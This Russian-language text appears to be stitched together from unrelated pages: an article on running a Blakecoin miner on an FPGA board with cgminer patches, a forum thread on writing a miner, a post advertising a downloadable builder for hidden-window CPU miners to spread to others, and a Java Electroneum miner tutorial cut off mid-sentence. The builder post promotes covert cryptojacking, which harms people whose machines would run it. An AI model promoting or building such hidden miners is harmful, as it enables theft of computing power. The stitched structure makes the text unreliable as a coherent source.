Как написать свой майнер

Время на прочтение
11 мин

Количество просмотров 27K

Не знаю кому как, а меня прошедший 2017 год шокировал стремительным взлетом биткоина. Сейчас, конечно, ажиотаж уже ушел, а в 17-м году про криптовалюты говорили и писали все кому не лень.

Я видел, что люди пытаются зарабатывать на криптовалютах. Кто как умеет. Кто-то на все сбережения скупал видеокарты и начинал самостоятельно майнить в гараже. Кто-то вкладывался в облачный майнинг. Кто-то пытается организовать свой пул. Кто-то запустил в производство шоколадные биткоины, а кто-то выпускает минеральную воду:

Я тоже стал изучать, что же такое эти самые биткоины. Когда-то я даже начал свое собственное иследование алгоритма SHA256 и написал статью здесь на хабре «Можно ли вычислять биткоины быстрее, проще или легче?». Мои исследования алгоритмов хеширования до сих пор продолжаются и еще и близко не завершены… Может быть когда нибудь напишу про это отдельную статью. А сейчас пока вот это..

Я попробовал запустить bitcoin майнер в FPGA. Я понимал, что время уже ушло, но хотелось все же прикоснуться к технологии. Уже в конце прошлого года я вдруг почему-то вспомнил, что у меня совершенно без дела лежит плата Terasic DE10-Standard с ПЛИС Intel Cyclone V 5CSXFC6D6F31C6 — это тот чип, который со встроенным процессором ARM. Я подумал, что было бы интересно запустить какой нибудь альткоин майнер в этой плате. А что? Инвестировать в оборудование мне уже не надо, оно и так есть. Главное, чтобы плата зарабатывала больше, чем потребляет энергии.

Поиск подходящего альткоина был весьма прост. Я искал готовые проекты для FPGA, которые я смогу адаптировать под свою плату. Таковых оказалось не очень много. На самом деле как я понимаю во всем мире есть всего несколько человек, которые делали FPGA проекты и главное публиковали их в открытом доступе, например, на github.

Таким образом, я взял проект github.com/kramble/FPGA-Blakecoin-Miner и адаптировал его под имеющуюся у меня плату Марсоход3, а так же адаптировал этот проект для DE10-Standard.

Собственно о том, как я адаптировал проект для платы Марсоход3 написано здесь. Для Cyclone V в принципе все то же самое — только ревизия проекта квартуса blake_cv, мои исходники вот.

К моему сожалению в имеющийся у меня Cyclone V помещается только три хэш функции blake.

Чуть-чуть не хватает емкости ПЛИС до четырех хэшеров. Я запускаю проект на частоте 120МГц и за один такт рабочей частоты вычисляется один хэш blake. Значит производительность моего проекта 120*3=360MH/sec. Не очень много честно говоря, однако, как я уже сказал, плата у меня уже была, и возвращаеть ее стоимость мне не нужно… Тут еще Quartus говорит, что Fmax=150MHz. Можно попытаться поднять частоту, но боюсь придется ставить кулер, будет гудеть — ну не на столько мне нужны эти крипты, чтоб еще гул в комнате слушать.

Общая задумка проекта такая: плата имеет микросхему у которой есть и ПЛИС и Dual-ARM:

Когда плата стартует, то из U-BOOT первым делом загружается ПЛИС, затем стартует Linux и в нем программа майнинга cgminer. Я сперва думал, что я смогу устроить виртуальный канал связи между ARM и FPGA, и это на самом деле возможно, но так не получилось. Дело в том, что программа майнера cgminer работает с аппаратными майнерами через USB и использует библиотеку libusb. То есть мне проще подключить ПЛИС к Linux системе через преобразователь USB-COM на FTDI, чем городить городушку соединяя ПЛИС на шину ARMа. Я таким уже как-то занимался и это было не очень просто.

Сейчас мой «майнер» выглядит вот так (на Cyclone V поставил радиатор на термопасте, а то сильно греется):

Сказать по правде основные проблемы у меня как раз возникли не с FPGA проектом, а с cgminer.

Проблемы следующие:

1) Какой cgminer брать за основу своей разработки? И связанный с этим вопрос «Куда подключаться, чтобы начать майнить?». А какая связь между этими вопросами? Казалось бы, где тут проблема — бери самый свежий cgminer, какой найдешь. Но позвольте: на github есть 98 форков программы cgminer. Все они чем-то отличаются, какой есть хороший, а какой плохой, какой есть вообще хотя бы рабочий? Вот вам и опенсоурс. Каждый автор чего-то там себе добавлял и исправлял, или ломал… или делал свою монету. Разобраться не просто. Нашел для себя сайт, где на одной странице есть ссылка и на github проект и на github проект для FPGA. То есть эти два проекта видимо как-то могут и должны пересекаться.

2) Поскольку я взял за основу FPGA проект от автора kramble, то на самом деле, конечно, логично было бы взять его патчи, которые он приложил к своему проекту. Но и тут не без проблем. У него есть патчи к программе cgminer-3.1.1 и cgminer-3.4.3. Я решил, что лучше брать ту, что новее 3.4.3, но только потерял с ней время. Похоже автор начал адаптировать для этой версии, но что-то там не довел до конца и эта версия совсем сырая. Пришлось брать 3.1.1 а это кажется вообще старючая версия.

3) Авторы изменяющие программу cgminer в своих форках для своих альткоинов не следят за правильностью комментариев и именованием функций в коде. Зачастую в коде тут и там встречается слово bitcoin, а сам этот форк cgminer-а уже кажется не может считать для биткоина, а может только в альткоин.

4) Тесты. ГДЕ ТЕСТЫ? Я чего-то не понимаю, как можно делать сложный продукт без тестов? Я их не нашел.

Сказать по правде даже начинать что-то делать было не просто. Представьте себе, что нужно запустить некоторый проект в FPGA, но не очень понятно, что он должен делать, как получать данные, какие данные и в каком виде нужно выдавать результат. К этому FPGA проекту должна прилагаться некоторая программа, которую не известно точно где взять, но она должна обнаружить плату майнера, что-то туда посылать (неизвестно что) и что-то из нее получать. В каком формате, какими блоками, как часто — ничего не известно.

На самом деле, изучая патчи cgminer от kramble я примерно представляю себе как оно должно работать.

В файле usbutils.c прописаны устройства, которые могут рассматриваться как аппаратные внешние майнеры на шине USB:

static struct usb_find_devices find_dev[] = {
#ifdef USE_BFLSC
	{
		.drv = DRV_BFLSC,
		.name = "BAS",
		.ident = IDENT_BAS,
		.idVendor = IDVENDOR_FTDI,
		.idProduct = 0x6014,
		//.iManufacturer = "Butterfly Labs",
		.iProduct = "BitFORCE SHA256 SC",
		.kernel = 0,
		.config = 1,
		.interface = 0,
		.timeout = BFLSC_TIMEOUT_MS,
		.latency = LATENCY_STD,
		.epcount = ARRAY_SIZE(bas_eps),
		.eps = bas_eps },
#endif
...
	{
		.drv = DRV_ICARUS,
		.name = "BLT",
		.ident = IDENT_BLT,
		.idVendor = IDVENDOR_FTDI,
		.idProduct = 0x6010,
		//.iProduct = "Dual RS232-HS",
		.iProduct = "USB <-> Serial Cable",
		.kernel = 0,
		.config = 1,
		.interface = 1,
		.timeout = ICARUS_TIMEOUT_MS,
		.latency = LATENCY_STD,
		.epcount = ARRAY_SIZE(ftdi2232h_eps),
		.eps = ftdi2232h_eps },

Я в эту структуру добавил описатель своего USB-to-COM преобразователя FTDI-2232H. Теперь, если cgminer обнаружит устройство с VendorId/DeviceId = 0x0403:0x6010, то он попробует работать с этим устройством, как с платой Icarus, хоть она таковой и не является.

Дальше смотрим файл driver-icarus.c и тут есть функция icarus_detect_one:

static bool icarus_detect_one(struct libusb_device *dev, struct usb_find_devices *found)
{
	int this_option_offset = ++option_offset;
	struct ICARUS_INFO *info;
	struct timeval tv_start, tv_finish;

	/* Blakecoin detection hash
	N.B. golden_ob MUST take less time to calculate than the timeout set in icarus_open()
    0000007002685447273026edebf62cf5e17454f35cc7b1f2da57caeb008cf4fb00000000dad683f2975c7e00a8088275099c69a3c589916aaa9c7c2501d136c1bf78422d5256fbaa1c01d9d1b48b4600000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
	{ midstate, data } = { 256'h553bf521cf6f816d21b2e3c660f29469f8b6ae935291176ef5dda6fe442ca6e4, 96'hd1d9011caafb56522d4278bf };
	*/
	const char golden_ob[] =
//		"553bf521cf6f816d21b2e3c660f29469"
//		"f8b6ae935291176ef5dda6fe442ca6e4"
//		"00000000000000000000000000000000"
//		"00000000d1d9011caafb56522d4278bf";

//-----------
		"a8c369073d7dc0a63168f5fcf0246e4f"
		"eb916bda12787ad1607d2303186ed8f1"
		"00000000000000000000000000000000"
		"0142b9a0e7b4001cf8b35852a3accab0";

	const char golden_nonce[] = "0142b9b1"; //"000187a2";
	const uint32_t golden_nonce_val = 0x0142b9b1; //0x000187a2;
	unsigned char ob_bin[64];
	unsigned char nonce_bin[ICARUS_READ_SIZE];
	char *nonce_hex;
	int baud, uninitialised_var(work_division), uninitialised_var(fpga_count);
	struct cgpu_info *icarus;
	int ret, err, amount, tries;
	bool ok;

	char tmpbuf[256];	//lancelot52
	unsigned char* wr_buf = ob_bin;
	int bufLen = sizeof(ob_bin);

	icarus = usb_alloc_cgpu(&icarus_drv, 1);

	if (!usb_init(icarus, dev, found))
		goto shin;

	usb_buffer_enable(icarus);

	get_options(this_option_offset, icarus, &baud, &work_division, &fpga_count);

	hex2bin(ob_bin, golden_ob, sizeof(ob_bin));

	tries = 2;
	ok = false;
	while (!ok && tries-- > 0) {
		icarus_initialise(icarus, baud);

		err = usb_write_ica(icarus, (char *)wr_buf, bufLen, &amount, C_SENDTESTWORK);

		if (err != LIBUSB_SUCCESS || amount != bufLen)
			continue;

		memset(nonce_bin, 0, sizeof(nonce_bin));
		ret = icarus_get_nonce(icarus, nonce_bin, &tv_start, &tv_finish, NULL, 500);

Смысл такой. Программа передает плате заведомо известное задание на поиск хэша, причем в задании сказано с какого нонсе начинать вычисление и это нонсе немного меньше настоящего GOLDEN nonce. Таким образом, плата начнет считать с указанного места и буквально сразу в считанные доли секунды наткнется на GOLDEN nonce и вернет его. Программа тут же получит этот результат, сравнит его с правильным ответом и сразу становится понятно — это действительно тот HW майнер с которым можно работать или нет.

И вот тут была ужасная проблема — в проекте есть патчи на языке C, есть тестовая программа на питоне и тестбенч для FPGA.

В патчах на C тестовые данные выглядят вот так:

1) патч для cgminer-3.1.1

const char golden_ob[] =
		"553bf521cf6f816d21b2e3c660f29469"
		"f8b6ae935291176ef5dda6fe442ca6e4"
		"00000000000000000000000000000000"
		"00000000d1d9011caafb56522d4278bf";

	const char golden_nonce[] = "00468bb4";
	const uint32_t golden_nonce_val = 0x00468bb4;

1) патч для cgminer-3.4.3

const char golden_ob[] =
		"553bf521cf6f816d21b2e3c660f29469"
		"f8b6ae935291176ef5dda6fe442ca6e4"
		"00000000000000000000000000000000"
		"00000000d1d9011caafb56522d4278bf";

	const char golden_nonce[] = "000187a2";
	const uint32_t golden_nonce_val = 0x000187a2;

И что тут правильно, а что нет? Исходные данные одинаковые, а golden nonce объявлен разным!!! Парадокс… (заранее скажу, что в патче для cgminer-3.4.3 ошибка — нонсе 0x000187a2 не верный, а сколько времени я на это потратил..)

В проекте есть тестовая программа на питоне, которая читает текстовый файл, извлекает из него данные и передает в плату через последовательный порт… Там тестовые данные вот такие:

0000007057711b0d70d8682bd9eace78d4d1b42f82da7d934fac0db4001124d600000000cfb48fb35e8c6798b32e0f08f1dc3b6819faf768e1b23cc4226b944113334cc45255cc1f1c085340967d6c0e000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007057711b0d70d8682bd9eace78d4d1b42f82da7d934fac0db4001124d6000000008fa40da64f312f0fa4ad43e2075558faf4e6d910020709bb1f79d0fe94e0416f5255cc521c085340df6b6e01000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007095696e4529ae6568e4b2a0057a18e82ccf8d370bf87e358900f8ab5000000000253c6078c7245036a36c8e25fb2c1f99c938aeb8fac0be157c3b2fe34da2fa0952587a471c00fa391d2e5b02000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
000000704445e0446fcf2a84c47ce7305722c76507ba74796eaf39fe0007d44d00000000cac961f63513134a82713b172f45c9b5e5eea25d63e27851fac443081f453de1525886fe1c01741184a5c70e000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070a3ac7627ca52f2b9d9a5607ac8212674e50eb8c6fb1219c80061ccd500000000ed5222b4f77e0d1b434e1e1c70608bc5d8cd9d363a59cbeb890f6cd433a6bd8d5258a0141c00b4e770777200000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
000000706c90b789e84044d5be8b2fac01fafe3933ca3735269671e90043f8d900000000d74578c643ab8e267ab58bf117d61bb71a04960a10af9a649c0060cdb0caaca35258b3f81c00b4e7b1b94201000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070171d2644781cccf873ce3b6e54967afda244c47fc963bb240141b4ad00000000d56c4fbdc326e8f672834c8dbca53a087147fe0996d0c3a908a860e3db0589665258da3d1c016a2a14603a0a000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070d03c78cb0bb0b41a5a2c6ce75402e5be8a705a823928a5640011110400000000028fb80785a6310685f66a4e81e8f38800ea389df7f16cf2ffad16bb98e0c4855258dda01c016a2ae026d404000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
0000007091a7eef446c4cb686aff8908ab5539d03a9ab2e975b9fe5700ed4ca9000000000f83bb385440decc66c10c0657fcd05f94c0bc844ebc744bba25b5bc2a7a557b5258e27c1c016a2a6ce1900a000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000
00000070856bd0a3fda5dac9ede45137e0c5648d82e64fbe72477f5300e96aec0000000026ca273dbbd919bdd13ba1fcac2106e1f63b70f1f5f5f068dd1da94491ed0aa45258e51b1c017a7644697709000000800000000000000000000000000000000000000000000000000000000000000000000000000000000080020000

Ну то есть совершенно другие! Потом я уже понял, что это не те даннае, что посылаются в плату, из этих только извлекаются данные, специальным образом конвертируются в задание и отсылаются в плату.

Но все равно, среди этих тестовых данных для программы на питоне НЕТ задания похожего на то, которое описано в программе на C!!!

Ну хорошо, тогда смотрю тестовую программу-тестбенч на verilog:

blakeminer #(.comm_clk_frequency(comm_clk_frequency)) uut
		(clk, RxD, TxD, led, extminer_rxd, extminer_txd, dip, TMP_SCL, TMP_SDA, TMP_ALERT);


	// TEST DATA (diff=1) NB target, nonce, data, midstate (shifted from the msb/left end) - GENESIS BLOCK
	reg [415:0] data = 416'h000007ffffbd9207ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
	// ALSO test starting at -1 and -2 nonce to check for timing issues
	// reg [415:0] data = 416'h000007ffffbd9206ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
	// reg [415:0] data = 416'h000007ffffbd9205ffff001e11f35052d554469e3171e6831d493f45254964259bc31bade1b5bb1ae3c327bc54073d19f0ea633b;
	
	reg			serial_send = 0;
	wire		serial_busy;
	reg [31:0]	data_32 = 0;
	reg [31:0]	start_cycle = 0;

	serial_transmit #(.comm_clk_frequency(comm_clk_frequency), .baud_rate(baud_rate)) sertx (.clk(clk), .TxD(RxD), .send(serial_send), .busy(serial_busy), .word(data_32));

Здесь есть предполагаемый пакет данных, который плата должна принять. Но опять этот предполагаемый пакет данных никак не похож на пакет данных в программе на C или на данные для тестовой программы на питоне.

Вот это отсутствие общих тестовых данных для программы на питоне, C и Verilog очень сильно портит картину. Получается, что между компонентами как бы нет общих точек соприкосновения, общих тестов и это печально.

Вообще, в верилог проекте blakecoin майнера было скрыто еще одно форменное издевательство над моим организмом.

Если проводить симуляцию проекта с verilog тестбенчем, то в симуляторе с вот этими тестовыми данными 416’h000007ffffbd9207ffff001e11f35052d5544… замечательно находится и возвращается результат GOLDEN nonce.

Потом проект компилирую для реальной FPGA платы, эти же самые данные подаю из программы на питоне и… плата не находит GOLDEN nonce…

Оказывается, что тестовые данные в verilog тестбенче «немного плохие». Они для низкой сложности, когда в результирующем хэше всего 24 ведущих нуля, а не 32, как требуется.

В файле experimental/LX150-FourPiped/BLAKE_CORE_FOURPIPED.v есть вот такой код

reg gn_match_d = 1'b0;
always @(posedge clk)
`ifndef SIM
	gn_match_d <= (IV7 ^ b76 ^ d74) == 0;
`else
	gn_match_d <= (IV7[23:0] ^ b76[23:0] ^ d74[23:0]) == 0;
`endif

В Verilog симуляторе проверяется не так, как будет будет работать в железе! То есть для реальной FPGA платы будем проверять на 32 бита ведущих нулей, а в симуляции будем проверять только 24 бита. Это просто прелестно. Хочется побить автора.

Я конечно, все это победил. По крайней мере, тестовая программа на питоне выдает бодрые сообщения:

Ладно, что в результате? Сколько намайнил? К сожалению нисколько.

Как только я был уже готов начать майнить, буквально в конце января сложность блейка сильно возросла:

Теперь я мог оставить на сутки плату и она хоть и находила решения, но их не принимал пул — все еще мало ведущих нулей.

Я пробовал переключиться на другую валюту — VCASH. С этой валютой пул хотя бы иногда выдавал мне бодрящие сообщения вроде вот этого:

Но все равно и VCASH пул ничего не начисляет. Печаль-беда.

Пользуясь случаем хотел бы спросить у знающих людей. Вот у меня есть видеокарта Nvidia 1060. Она выдает 1,25GHash/sec на блейкоине и за час два-три раза выдает nonce, который принимает пул (и начисляет копеечку). Я думал, что если моя FPGA плата считает 360MHash/sec, ну то есть примерно в 3 раза хуже, чем видеокарта, то я за два часа получу хотя бы один нонсе принятый пулом. Однако, этого не происходит. Даже за сутки нет ни одной копеечки… Где тут подвох для меня так и осталось загадка…

Сейчас я на досуге пытаюсь понять можно ли как-то оптимизировать имеющийся FPGA проект, скажем задействовать встроенную память или еще что-то. Может быть, если повезет, что-то и придумаю.

  • #1

Добрый день. Подскажите темы по созданию совего майнера на Грин, эфир или бим. Есть какие-либо посты по этому поводу. Какой уровень програмирования необходимо иметь. Буду премного благодарен.

  • #2

Сходите на github любого из майнер проектов, скачайте исходники (если доступны) и посмотрите.

  • #3

А заголовок темы то какой! И все :(
В принципе, задачи не столь сложные, подобные примеры приводятся в физматах. Можно проконсультироваться с профессорами по математическому решению алгоритма и пытатья его правильнт реализовать. Я поддерживаю инициативу.

  • #4

Добрый день. Подскажите темы по созданию совего майнера на Грин, эфир или бим. Есть какие-либо посты по этому поводу. Какой уровень програмирования необходимо иметь. Буду премного благодарен.

Есть открытые проекты на гитхабе, под эфир точно, посмотрите и оцените уровень. Заодно сможете по быстрому на основе свой запилить.

esq

Свой человек


  • #6

гугл —> основы объектно-ориентированного программирования —> дальше сам

  • #7

гугл —> основы объектно-ориентированного программирования —> дальше сам

ну нахера тут ООП?

Vai

Свой человек


  • #8

это чтобы показать что знаешь умные слова

  • #9

это чтобы показать что знаешь умные слова

:) самоутверждение забавная штука

cemehbl4


  • #11

Как приятно ТСу, когда Семёныч за тебя гуглом работает ;)

esq

Свой человек


  • #12

Мне так друг говорил который с перфокартами на заводе работал

  • #13

Какой уровень програмирования необходимо иметь

В данном случае его явно недостаточно.

  • #14

Иногда лучше х*й сосать …

Какая разносторонняя публика на форуме про майнинг, однако.

  • #15

Добрый день. Подскажите темы по созданию совего майнера на Грин, эфир или бим. Есть какие-либо посты по этому поводу. Какой уровень програмирования необходимо иметь. Буду премного благодарен.

Никак.
Сначала ты должен в идеале знать английский язык.
Скачать документацию по данному алгоритму. Изучить.
Скачать документацию пула по обработки запросов и ответов (майнер же должен отправлять шары и получать задание от куда-то)
Сказать документацию по работе устройств видеокарт. От производителя Амд или Нвидеа. Изучить. Документацию по Cuda, Pascal, RTX, OpenGL. В зависимости от поколения твоих видеокарт. Изучить как передавать команды ядру, памяти, обрабатывать запросы, исключения, ошибки, получать инфу о температуре, загруженности контроллера.
Изучить документацию по драйверам видеокарт. Что нового в последних версиях, тонкости.
Скачать документацию по Windows MSDN или Linux. В частности работа аппаратной части взаимодействия устройств процессора, памяти.
Изучить потоки, приоритеты потоков, как создавать многопоточных приложения в зависимости от версии ОS.
Найти и изучить недокументированные особенности Windows. (Если хочешь, чтобы твой хешрейт был максимально высоким ).
И только после этого выбирать язык на котором будешь писать.
Ну, вероятно это будет Си+
Если не программировал, то сразу полгода накидывай на изучение для таких задач. Это как минимум.
Далее скачиваешь на гитхабе исходники открытых майнеров. Чтобы не изобретать велосипед. Изучаешь, на основе их изменяешь код под новый алгоритм, если его нет.
Тестируешь, исправляешь баги.
И только посте этого твой майнер не будет отправлять комиссию разработчикам.
Правда майнинг к этому времени будет уже не выгоден.

Hancock


  • #16

Какой уровень программирования необходимо иметь.

Обратись к профессионалам

Начнём с того, что большинство майнеров из интернета мне не нравились. Дизайн плохой, медленно майнит, вирусов куча. Вот я, с многолетним опытом гугления, решил написать свой майнер. Я писал его несколько дней и не мог спать и есть, пока его не закончу. И вот я его закончил. Но в продакшн этот кусок кода пускать нельзя, так как он не протестирован. Сам я его буду тестировать месяц-два. Долго, согласитесь? Вот я и решил вынести его на свет.
И так, каковы его особенности?
 Это CPU майнер.
Он не мешает работе, так как использует 50% CPU.
Окно скрыто, и не будет мельтешить перед глазами.
Он автоматически определяет разрядность системы.
Автоматический выбор наилучшего пула из вшитого списка (будет обновляться).
Требуется лишь вписать номер кошелька и название валюты в специальный конфигурационный файл (config.txt) и, с помощью установочника, создать майнер, который может использовать любой человек, а деньги будут капать Вам.
Пример конфигурационного файла: bitcoin 6a4d6f5468785468d45rg46dr468 (все числа вымышлены).
Внимание! Вводите данные осторожно, лучше перепроверьте их несколько раз. Если введёте неправильные данные — деньги будут уходить в пустоту.
P.s. Можно создать много майнеров на разные кошельки .
Время ответов на вопросы!
Q: Какая тебе от этого выгода?
A: Я получаю лог-файлы и исправляю ошибки.

Q: Почему отдаёшь это нам?
A: Мне нужны тестировщики.

Q: Что ты собираешься делать с майнером?
A: Вполне возможно, что я его продам.

Инструкция: Пишете в файле config.txt свои данные как на примере выше. Затем запускаете установочник, выбираете директорию установки, и на выходе получаете файл майнера в формате .exe.
P.s. Можно распространить свой майнер, только тссс.

Ссылка: http://dropmefiles.com/oGoU5

Спрашивайте, если что-то непонятно.
Но могу ответить чуть позднее, чем следует.

В наше время каждая бабушка слышала о криптовалютах, курсы майнинга проводят даже серьезные учебные заведения, а антивирусы все чаще кричат о заражении сайта или игрушки майнером. Пришло время на практике разобраться, что это такое, как работает, и написать свой криптомайнер.

В качестве криптовалюты возьмем Electroneum. Это довольно перспективная криптовалюта из семейства Monero. Как заверяют разработчики, она защищена от майнинга на специальном оборудовании, точнее, оборудование будет стоить больше, чем можно получить прибыли. Это дает примерно равные шансы всем майнерам. Так как в качестве основы была использована Monero, многое из написанного будет правдиво и для других криптовалют этого семейства.

Для начала разберемся, что же такое майнинг. По сути это проверка транзакций различных пользователей криптовалют. Нет никакого центрального органа, а подтвердить, что один участник сети не использовал свои деньги дважды или не попытался как-то еще обмануть систему, могут все остальные. За это майнеры получают награду в виде небольшого количества криптоденег. В эту сумму входит награда за создание нового блока и оплата за транзакции, которая взимается с пользователей, проводящих транзакцию, и уже включена в нее.

Создание нового блока представляет собой решение определенной математической задачи. Необходимо найти такой хеш блока, который был бы меньше значения, определяемого сетью. Это значение называется сложность (difficulty). Оно регулируется сетью, чтобы время создания блока было более-менее предсказуемо. Майнер, который первый решит задачу, получает всю награду. Награда за блок на сегодняшний день составляет 11 300,93 ETN, что примерно равно 146,2 доллара.

В блоке не обязательно должны быть транзакции других пользователей, может быть только одна транзакция создания новых денег. Зачем нужно просто раздавать деньги? Во-первых, это привлекает больше участников сети, во-вторых, снижает риск атаки на сеть, так как заработать легально получается проще.

Чтобы стать участником сети Electroneum, необходимо скачать пакет программ с официального сайта. Выбираем direct miner для своей платформы. После скачивания и распаковки нужно синхронизироваться с сетью — скачать все уже сгенерированные блоки. Для разработки и тестирования лучше пользоваться тестовой сетью с пониженной сложностью.

К сожалению, синхронизация «из коробки» может зависнуть на блоке 155750. Это связано с найденным критичным багом и кардинальными изменениями из-за этого в сети Electroneum (подробнее). Поэтому прежде чем запускать синхронизацию, нужно скачать файлик с правильной цепочкой блоков и положить его в папку
.electroneum/testnet/export/blockchain.raw. Затем выполнить импорт:

> ./electroneumblockchainimport testnet verify 0

Теперь смело запускаем синхронизацию:

> ./electroneumd testnet

Далее создаем кошелек для начисления заработка:

> electoneumwalletcli testnet

Ответив на все вопросы, получаем публичный адрес в файлике
<название кошелька>.address.txt. Если лениво заморачиваться с развертыванием сервера Electroneum, можно воспользоваться онлайн-сервисом
nodes.hashvault.pro:26968.

Настало время запустить свой любимый редактор и приступать к кодированию. Для связи с сервисом Electroneum используется протокол
jsonrpc. Нам понадобится всего две команды: получить шаблон блока и отправить решение. Начнем с простого HTTP-клиента:

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

18

19

20

21

22

23

24

25

26

27

28

29

30

31

32

33

public String sendRpcCommand(String command) {

  // Определяем URL для связи с сервером. Для реальной, не тестовой сети порт будет 26968

  URL url = new URL(«http://127.0.0.1:34568/json_rpc»);

  HttpURLConnection con = (HttpURLConnection) url.openConnection();

  // Задаем параметры соединения. Разрешаем вывод, чтобы забрать ответ сервера

  con.setDoOutput(true);

  // Передавать будем данные в формате JSON

  con.setRequestProperty(«Content-Type», «application/json; charset=UTF-8»);

  con.setRequestProperty(«Accept», «application/json»);

  con.setRequestMethod(«POST»);

  // Отправляем команду

  OutputStream os = con.getOutputStream();

  os.write(command.getBytes(«UTF-8»));

  os.close();

  StringBuilder sb = new StringBuilder();

  int HttpResult = con.getResponseCode();

  if (HttpResult == HttpURLConnection.HTTP_OK) {

    // Если соединение успешно, то забираем ответ сервера

    BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), «utf-8»));

    String line;

    while ((line = br.readLine()) != null) {

      sb.append(line).append(«n»);

    }

    br.close();

    return sb.toString();

  } else {

    // Если соединение не удалось, то бросаем исключение с описанием проблемы

    throw new IOException(con.getResponseMessage());

  }

}

Чтобы получить шаблон блока для вычисления, отправим команду

{

  «jsonrpc»:«2.0»,

  «id»:«0»,

  «method»:«get_block_template»,

  «params»:{

    «wallet_address»:«44GBHzv6ZyQdJkjqZje6KLZ3xSyN1hBSFAnLP6EAqJtCRVzMzZmeXTC2AHKDS9aEDTRKmo6a6o9r9j86pYfhCWDkKjbtcns»,

    «reserve_size»:8

  }

}

В качестве параметра wallet_address указываем адрес из файла
<название кошелька>.address.txt. Адрес используется, чтобы сразу сгенерировать транзакцию получения награды за расчет блока. Параметр
reserve_size задает, сколько выделить зарезервированных байтов, которые потом можно использовать при майнинге. Максимальное число — 255 байт.

В результате получаем:

{

  «id»: «0»,

  «jsonrpc»: «2.0»,

  «result»: {

    «blockhashing_blob»: «070784e5dbda054486739aac8830906e18272012b97b98993afccf89d0044241193d1788f760cb0000000057754af7e8324054869263b355ede600c2381cbdf6acf2dc8f2b26f4a9a82bae14»,

    «blocktemplate_blob»: «070784e5dbda054486739aac8830906e18272012b97b98993afccf89d0044241193d1788f760cb000000000183d71401fff1d61401eff844020117b5d2cead5bd512ab4b0a2e73377049c49c69ffc916687e811bbb0f5f65322b01d67fec53c3f1cab976537a4ab4ebba03c89849d554963df6ed1a0023e6d5d9e90208000000000000000013d5c0b347172631f9b0175365936f98b00198d8caf3dbb77edc6c002dbb6c302776e7d543da92fdf5c30e91d4b21762eb6fe5daf8959b519f3de65a3cd80adda1e5674fedeb2a5038577ea2fe9eb6a3fd2162a3a09cbe6d3b62c9b04a29d47c5c14c119f0812448ab4e14a76f1c2ddc2ff6ac0b97f1fb9e4cabf0ef2adf79221a3e865b8d9252f41f31e110326b78b0c506e9f18eb094305b6216221c2bd3f9d996bedf54dbb4c0bfe4fea6f2240181c91789270a48cae44d7662e1a13aae45c3edc3247736879f6aa2670b8816e551856b912f11269979fac1c97203365247eaee476ed815e3fa597b5230db7e0162816b55b23d2bfb8b9506492e8359f8ba33807eab0972a7837893163cadf314888dbb64190fa00553156dc7b05574eacd3b9a268666201ab202b23ecf960565c01a6a61fe5f03ba5b6c22d7e6639e7708941c876ecdc191cec4c5797e520855d9cc34ef9c3866ded9a4722c6437363bb7a47c9dbd303c15a18dfb72028054cd438924978f5c5d32be3bcbc622e0fb4b9aef865fea52a09f518952ec0aa94bbfa969f192a93b80a50fe7af2728cbd76e739e9af80aee2644fb2bbe1c82724bdc4678a5a206a945a3e49dabcb10ae0f25d473aa76e0275c4f9fa1cffc3e1d8748278561b99953966606a5d891717b4fb0366a77e38db4c267c3724e994532ae97fc7b12842157d8a11bc97926eb9978c82a07afc573a04660247a94c5c4f14556fbcc9aa367b7bef4fdf18b626b4342d4e84850f133076dcd26c16d3efe9f85fa29c757acda5dff2fe26fbf87d937be455d4053e4246a3055ace5fcb6d6545aa3cd0b2e21ea3648f0dd6cde386933381b7116»,

    «difficulty»: 237219196877,

    «expected_reward»: 1129583,

    «height»: 338801,

    «prev_hash»: «4486739aac8830906e18272012b97b98993afccf89d0044241193d1788f760cb»,

    «reserved_offset»: 126,

    «status»: «OK»

  }

}

Рассмотрим подробнее первые два поля.

Electroneum майнер на java

Описание blockhashing_blob
Electroneum майнер на java
Описание blocktemplate_blob

Electroneum предоставляет две возможности для майнинга. Можно использовать готовый для расчета хеша blockhashing_blob, подбирая четыре байта nonce. Из достоинств — не нужно рассчитывать самому корень Меркле для транзакций. Из недостатков — довольно скудный набор возможных значений, среди которых может и не найтись нужного.

Второй вариант — использовать сырой блок blocktemplate_blob. Тут уже можно перебирать как четыре байта nonce, так и значение блока дополнительных данных, что заметно расширяет вероятность нахождения нужного значения. Но приходится считать хеш первой транзакции и корень Меркле, а только потом рассчитывать хеш самого блока.

Для начала попробуем первый вариант. Напишем небольшой метод, который будет перебирать значения nonce.

1

2

3

4

5

6

7

8

9

10

11

12

13

14

15

16

17

public static boolean findProperNonce(byte[] blockheader, int nonceByteIndex, long difficulty) {

  byte nonceByte = Byte.MIN_VALUE;

  while (nonceByte != Byte.MAX_VALUE) {

    blockheader[39 + nonceByteIndex] = nonceByte;

    if (nonceByteIndex < 3) {

      boolean found = findProperNonce(blockheader, nonceByteIndex + 1, difficulty);

      if (found) {

        return true;

      }

    } else {

      byte[] hash = calculateHash(blockheader);

      if (hasRequiredDifficulty(hash, difficulty)) return true;

    }

    nonceByte++;

  }

  return false;

}

Electroneum использует алгоритм хеширования CryptoNight. Описание алгоритма можно посмотреть тут. Хорошая новость — есть много готовых реализаций, плохая — практически все они написаны на С. К счастью, Java-машина прекрасно умеет запускать код на С. Поэтому, чтобы сократить время, возьмем готовую реализацию алгоритма и сделаем для нашего майнера подключаемую DLL’ку.

Для этого нам понадобится Cygwin. Это набор опенсорсных линуксовых утилит, которые можно запускать под виндой. При установке нужно выбрать пакеты
mingw64x86_64gcccore и
mingw64x86_64gccg++.

Electroneum майнер на java

Установка Cygwin

Для загрузки библиотеки создадим класс CryptoNight в пакете
